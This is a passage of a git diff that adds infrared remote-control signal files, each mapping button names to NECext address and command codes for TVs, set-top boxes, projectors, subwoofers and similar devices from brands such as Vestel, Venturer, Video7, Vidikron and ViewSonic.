00 00 00 00 +command: 2D 00 00 00 +# +name: Mix +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2E 00 00 00 +# +name: Shift +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2F 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 32 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_lircd.conf/128,123.ir b/assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_lircd.conf/128,123.ir new file mode 100644 index 000000000..0ff983680 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_lircd.conf/128,123.ir @@ -0,0 +1,230 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 09 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 0A 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 0B 00 00 00 +# +name: TIMER_REC +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 0D 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 11 00 00 00 +# +name: TV_VCR +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 12 00 00 00 +# +name: VCR_ON +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 13 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 15 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 16 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 17 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 18 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 19 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 1A 00 00 00 +# +name: CLOCK_SET +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 1C 00 00 00 +# +name: SPEED +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 1E 00 00 00 +# +name: PRESET +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 40 00 00 00 +# +name: SET+ +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 41 00 00 00 +# +name: SET- +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 42 00 00 00 +# +name: TRACKING+ +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 43 00 00 00 +# +name: TRACKING- +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 44 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 45 00 00 00 +# +name: AFT +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 46 00 00 00 +# +name: PROG +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 48 00 00 00 +# +name: KEY_CANCEL +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 4A 00 00 00 +# +name: MEM +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 4B 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 4C 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 4E 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 51 00 00 00 +# +name: AUTO +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 52 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_lt3607-aux599/135,124.ir b/assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_lt3607-aux599/135,124.ir new file mode 100644 index 000000000..511b1e766 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_lt3607-aux599/135,124.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 01 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 02 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 04 00 00 00 +# +name: prg- +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 05 00 00 00 +# +name: prg+ +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 06 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 07 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 17 00 00 00 +# +name: notxt +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 85 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 88 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 8A 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 8B 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 8C 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 8E 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 8F 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 92 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 93 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 94 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 96 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 97 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 98 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: C5 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: C7 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: CE 00 00 00 +# +name: a-b +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: FF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_testrecord.config/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_testrecord.config/0,-1.ir new file mode 100644 index 000000000..a075f70d6 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_testrecord.config/0,-1.ir @@ -0,0 +1,290 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: p/c +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: backto +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: bash +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: b+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: b- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: a+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: a- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: KEY_D +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: KEY_C +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: KEY_B +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: KEY_A +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: c+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: c- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 22 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 23 00 00 00 +# +name: memo +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 24 00 00 00 +# +name: pr +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 26 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 28 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2A 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2B 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2C 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2D 00 00 00 +# +name: KEY_G +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 32 00 00 00 +# +name: KEY_H +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: KEY_F +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: KEY_E +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: KEY_3next +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_tv/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_tv/1,-1.ir new file mode 100644 index 000000000..84f129f70 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_tv/1,-1.ir @@ -0,0 +1,20 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Velodyne/Subwoofer/0,69.ir b/assets/resources/infrared/_CSV-IRDB_/Velodyne/Subwoofer/0,69.ir new file mode 100644 index 000000000..d67ea1167 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Velodyne/Subwoofer/0,69.ir @@ -0,0 +1,32 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 00 45 00 00 +command: 80 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 00 45 00 00 +command: 85 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: 00 45 00 00 +command: 86 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 00 45 00 00 +command: 87 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 00 45 00 00 +command: C4 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Venturer/Unknown_STB7766G1/66,187.ir b/assets/resources/infrared/_CSV-IRDB_/Venturer/Unknown_STB7766G1/66,187.ir new file mode 100644 index 000000000..2466f0a72 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Venturer/Unknown_STB7766G1/66,187.ir @@ -0,0 +1,164 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 42 BB 00 00 +command: 81 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 42 BB 00 00 +command: 82 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 42 BB 00 00 +command: 83 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 42 BB 00 00 +command: 84 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 42 BB 00 00 +command: 85 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 42 BB 00 00 +command: 86 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 42 BB 00 00 +command: 87 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 42 BB 00 00 +command: 88 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 42 BB 00 00 +command: 89 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 42 BB 00 00 +command: 8A 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 42 BB 00 00 +command: 8B 00 00 00 +# +name: CC +type: parsed +protocol: NECext +address: 42 BB 00 00 +command: 8C 00 00 00 +# +name: KEY_DOT +type: parsed +protocol: NECext +address: 42 BB 00 00 +command: 8E 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 42 BB 00 00 +command: 92 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 42 BB 00 00 +command: 96 00 00 00 +# +name: Signal +type: parsed +protocol: NECext +address: 42 BB 00 00 +command: 98 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 42 BB 00 00 +command: 9A 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 42 BB 00 00 +command: 9B 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 42 BB 00 00 +command: 9C 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 42 BB 00 00 +command: 9F 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 42 BB 00 00 +command: C8 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 42 BB 00 00 +command: C9 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 42 BB 00 00 +command: CA 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 42 BB 00 00 +command: CB 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 42 BB 00 00 +command: D4 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 42 BB 00 00 +command: FE 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 42 BB 00 00 +command: FF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Venturer/Unknown_boombox/129,129.ir b/assets/resources/infrared/_CSV-IRDB_/Venturer/Unknown_boombox/129,129.ir new file mode 100644 index 000000000..9584f3026 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Venturer/Unknown_boombox/129,129.ir @@ -0,0 +1,44 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 81 81 00 00 +command: 01 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 81 81 00 00 +command: 02 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 81 81 00 00 +command: 09 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 81 81 00 00 +command: 11 00 00 00 +# +name: random +type: parsed +protocol: NECext +address: 81 81 00 00 +command: 12 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 81 81 00 00 +command: 19 00 00 00 +# +name: memory +type: parsed +protocol: NECext +address: 81 81 00 00 +command: 1A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Vestel/Unknown_TV/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Vestel/Unknown_TV/0,-1.ir new file mode 100644 index 000000000..f83e51926 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Vestel/Unknown_TV/0,-1.ir @@ -0,0 +1,236 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: PP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: VOL_p +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: VOL+m +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: PlP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 22 00 00 00 +# +name: i-ii +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 23 00 00 00 +# +name: KEY_C +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 +# +name: KEY_B +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2A 00 00 00 +# +name: KEY_F +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2B 00 00 00 +# +name: KEY_G +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2C 00 00 00 +# +name: KEY_D +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2D 00 00 00 +# +name: KEY_E +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2E 00 00 00 +# +name: KEY_H +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2F 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 30 00 00 00 +# +name: feature +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 32 00 00 00 +# +name: install +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: picture +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: sound +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: KEY_Y +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: KEY_A +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: KEY_X +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Video7/Unknown_Video7-RC750/32,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Video7/Unknown_Video7-RC750/32,-1.ir new file mode 100644 index 000000000..70c7878ee --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Video7/Unknown_Video7-RC750/32,-1.ir @@ -0,0 +1,152 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 02 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 05 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 06 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 07 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 07 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 08 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 09 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0A 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0E 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 10 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 12 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 13 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 14 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 15 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 17 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 18 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 19 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1A 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1B 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1D 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1E 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1F 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 40 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 41 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 42 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Vidikron/Video Projector/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Vidikron/Video Projector/0,-1.ir new file mode 100644 index 000000000..d94d8efa9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Vidikron/Video Projector/0,-1.ir @@ -0,0 +1,164 @@ +Filetype: IR signals file +Version: 1 +# +name: ON +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: PP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: BRIGHTNESS_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: BRIGHTNESS_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: COLOUR_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: COLOUR_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: BASS_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: BASS_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: TREBLE_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: TREBLE_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: BALANCE_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: BALANCE_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: CONTRAST+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: CONTRAST_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: TINT_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: TEST_ON +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 25 00 00 00 +# +name: SL/TIM +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 26 00 00 00 +# +name: TINT_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 27 00 00 00 +# +name: ENHANCE_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 30 00 00 00 +# +name: ENHANCE_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 31 00 00 00 +# +name: INPUT_SELECT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: STATUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 39 00 00 00 +# +name: STORE_MEMORY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 39 00 00 00 +# +name: TEST_OFF +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/ViewSonic/Unknown_98TR7BD-ONT-VSF/131,241.ir b/assets/resources/infrared/_CSV-IRDB_/ViewSonic/Unknown_98TR7BD-ONT-VSF/131,241.ir new file mode 100644 index 000000000..c6a22cf2d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/ViewSonic/Unknown_98TR7BD-ONT-VSF/131,241.ir @@ -0,0 +1,296 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 83 F1 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 